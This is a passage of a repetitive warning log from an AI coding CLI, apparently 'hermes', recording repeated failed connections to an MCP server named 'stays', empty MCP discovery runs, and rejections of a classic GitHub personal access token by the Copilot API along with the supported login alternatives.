2026-09-09 17:11:29,349 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 17:16:35,896 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 17:21:43,734 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 17:26:50,874 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 17:31:58,650 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 17:37:06,397 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 17:42:15,033 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 17:47:22,259 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 17:52:29,480 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 17:57:37,228 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 18:02:44,815 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 18:07:13,013 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-09 18:07:13,013 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-09 18:07:14,643 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 18:07:14,673 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 18:07:14,707 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 18:07:14,723 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 18:07:21,730 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 18:12:28,483 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 18:17:36,121 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 18:22:42,824 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 18:27:33,284 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 18:27:33,298 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 18:27:33,308 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 18:27:33,320 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 18:27:40,914 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 18:32:48,878 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 18:37:56,320 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 18:43:02,821 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 18:43:52,888 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 18:43:52,906 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 18:43:52,917 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 18:43:52,929 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 18:44:01,060 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 18:49:09,213 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 18:54:17,176 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 18:59:07,435 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 18:59:07,454 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 18:59:07,468 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 18:59:07,508 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 18:59:14,909 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 19:04:22,019 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 19:09:29,557 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 19:14:36,837 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 19:19:45,382 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 19:24:53,307 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 19:30:00,271 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 19:35:08,471 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 19:40:14,911 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 19:45:22,609 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 19:50:29,731 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 19:55:36,854 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 20:00:44,641 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 20:05:52,489 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 20:10:59,804 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 20:16:07,677 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 20:21:15,123 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 20:26:22,586 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 20:31:29,173 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 20:36:36,379 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 20:41:43,619 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 20:46:50,228 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 20:51:57,796 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 20:57:04,955 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 21:02:12,270 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 21:07:19,260 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 21:12:26,473 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 21:17:34,355 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 21:22:41,806 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 21:27:48,755 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 21:32:55,757 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 21:38:02,446 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 21:40:34,214 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-09 21:40:34,214 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-09 21:43:10,553 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 21:48:17,217 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 21:53:23,930 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 21:56:55,471 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 21:56:55,490 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 21:56:55,499 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 21:56:55,516 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 21:57:03,489 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 22:02:11,360 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 22:07:18,368 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 22:12:26,263 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 22:17:34,256 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 22:22:41,489 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 22:27:49,671 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 22:32:56,980 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 22:38:04,140 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 22:43:10,770 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 22:48:17,886 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 22:53:25,633 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 22:58:33,276 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 23:00:18,842 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-09 23:00:18,842 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-09 23:00:20,665 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 23:00:20,681 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 23:00:20,690 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 23:00:20,710 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 23:00:28,551 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 23:05:35,389 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 23:10:42,802 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 23:15:11,008 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 23:15:11,033 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 23:15:11,051 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 23:15:11,067 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 23:15:18,142 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 23:20:25,726 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 23:25:32,976 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 23:30:40,275 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 23:31:01,200 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 23:31:01,213 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 23:31:01,224 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-09 23:31:01,242 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-09 23:31:09,204 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 23:36:16,589 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 23:41:23,727 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 23:46:30,456 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 23:51:39,072 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-09 23:56:46,701 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 00:01:53,353 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 00:07:00,360 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 00:12:08,827 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 00:17:17,536 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 00:22:23,853 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 00:27:32,094 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 00:32:40,177 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 00:37:48,238 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 00:42:56,327 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 00:48:03,355 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 00:53:11,621 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 00:58:19,897 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 01:03:27,431 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 01:08:34,136 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 01:13:41,081 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 01:18:49,760 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 01:23:57,091 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 01:29:05,230 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 01:34:11,532 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 01:39:18,963 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 01:44:26,237 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 01:49:34,488 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 01:54:41,171 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 01:59:49,447 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 02:01:46,292 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 02:01:46,292 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 02:01:48,787 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 02:01:48,909 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 02:01:48,928 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 02:01:49,108 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 02:01:56,374 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 02:07:03,606 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 02:12:11,053 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 02:17:19,781 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 02:22:27,946 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 02:27:34,780 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 02:32:42,518 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 02:36:44,280 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 02:36:44,297 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 02:36:44,310 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 02:36:44,332 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 02:36:52,089 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 02:41:59,057 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 02:47:06,468 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 02:52:14,282 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 02:52:41,388 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 02:52:41,401 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 02:52:41,409 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 02:52:41,423 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 02:52:48,508 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 02:57:56,577 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 03:03:03,045 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 03:08:09,771 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 03:13:17,491 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 03:18:24,095 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 03:23:30,564 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 03:26:48,181 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 03:26:48,181 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-10 03:26:50,222 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 03:26:50,265 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 03:26:50,283 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-10 03:26:50,303 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-10 03:26:57,464 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 03:32:04,103 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 03:37:11,979 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 03:42:19,421 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 03:47:26,144 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-10 03:52:34,283 WARNING tools.mcp_tool: MCP server 'stays' failed initial 